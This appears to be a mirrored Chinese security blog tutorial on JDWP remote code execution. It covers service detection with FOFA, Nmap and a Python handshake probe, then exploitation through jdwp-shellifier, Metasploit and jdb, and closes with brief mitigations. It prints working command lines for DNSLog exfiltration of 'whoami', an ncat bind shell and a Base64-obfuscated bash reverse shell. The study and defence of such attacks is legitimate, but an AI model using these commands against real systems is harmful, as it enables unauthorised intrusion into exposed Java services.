浅析JDWP远程命令执行漏洞
source link: https://www.mi1k7ea.com/2021/08/06/%E6%B5%85%E6%9E%90JDWP%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
0x00 前言
0x01 基本概念
JPDA(Java Platform Debugger Architecture)即Java平台调试体系架构,其整体架构如图:
整体分为三层:
- JVMTI:Java VM Tool Interface即JVM工具接口。Debuggee即被调试者是由被调试的应用程序(未显示)、运行应用程序的VM和调试器后端组成。为了可远程调试,JVM实例必须使用命令行参数
-Xdebug
以及参数-Xrunjdwp
(或-agentlib
)显式启动。其中调试器后端是使用JVMTI来定义JVM提供的调试服务; - JDWP:Java Debug Wire Protocol是Debugger和JVM实例之间的通信协议;
- JDI:Java Debug Interface即Java调试接口,是JDWP协议的客户端,调试器通过其来远程调试目标JVM中的应用;
JDWP(Java Debugger Wire Protocol)即Java调试线协议,是一个为Java调试而设计的通讯交互协议。在JPDA(Java Platform Debugger Architecture)中,它定义了调试器(Debugger)和被调试的JVM(Debuggee)之间的通信协议。
具体JDWP协议可参考官方文档:https://docs.oracle.com/en/java/javase/11/docs/specs/jdwp/jdwp-protocol.html
0x02 JDWP远程命令执行漏洞
如果目标Java应用开启了JDWP服务且对外开放,则攻击者可利用JDWP实现远程代码执行。
以Windows为例,下载Tomcat到本地,在startup.bat中上面添加如下代码开启debug模式:
SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000
跑起Tomcat即可。
FOFA语法
banner="jdwp"
有三种常用方式来进行JDWP服务探测,原理都是一样的,即向目标端口连接后发送JDWP-Handshake
,如果目标服务直接返回一样的内容则说明是JDWP服务。
使用Nmap扫描:
nmap -sT -sV 192.168.192.1 -p 8000
扫描会识别到JDWP服务,且有对应的JDK版本信息:
Telnet
使用Telnet命令探测,需要马上输入JDWP-Handshake
,然后服务端返回一样的内容,证明是JDWP服务:
使用如下脚本扫描也可以,直接连接目标服务发送JDWP-Handshake
,然后接受到相同内容则说明是JDWP服务:
import socket
client = socket.socket()
client.connect(("127.0.0.1", 8000))
client.send(b"JDWP-Handshake")
if client.recv(1024) == b"JDWP-Handshake":
print("[*]JDWP Service!")
client.close()
漏洞利用可借助以下三个工具。
jdwp-shellifier
直接用GitHub上已有的工具:https://github.com/IOActive/jdwp-shellifier
该工具通过编写了一个JDI(JDWP客户端),以下断点的方式来获取线程上下文从而调用方法执行命令。
需要Python2运行。
默认break on是在java.net.ServerSocket.accept方法上,
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd "calc"
直接设置断点函数为java.lang.String.indexOf
会更快速:
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "calc"
但是前面的命令虽然执行了但是看不到回显,在Linux环境下可以利用DNSLog外带回显:
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "ping -nc 1 `whoami`.xxx.dnslog.cn"
反弹shell:
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "ncat -lvvp 1234 -e /bin/bash"
# 下面这种不能直接运行/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1来反弹
# 跟Java的exec()反弹一个原理,可用Base64绕过
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}"
在msf中可以使用exploit/multi/misc/java_jdwp_debugger
模块进行攻击利用。
原理是去找sleeping中的线程,然后下发单步指令是程序断下来,从而触发命令执行。
jdb是JDK中自带的命令行调试工具。
这里是按照msf中的方式搞:
- attach到远程JDWP服务;
threads
命令查看所有线程,查找sleeping的线程;thread sleeping的线程id
,然后stepi
进入该线程;- 通过
print|dump|eval
命令,执行Java表达式从而达成命令执行;
这里本地-attach
参数连接会出差,换为下面的方式:
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8000
执行命令:
eval java.lang.Runtime.getRuntime().exec("calc")
当然是可以实现直接回显的,可自行研究。
- 关闭JDWP服务,或限制JDWP服务不对外开放;
- 关闭Java Debug模式;
0x03 参考
Hacking the Java Debug Wire Protocol – or – “How I met your Java debugger”
https://docs.oracle.com/en/java/javase/11/docs/specs/jpda/architecture.html
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK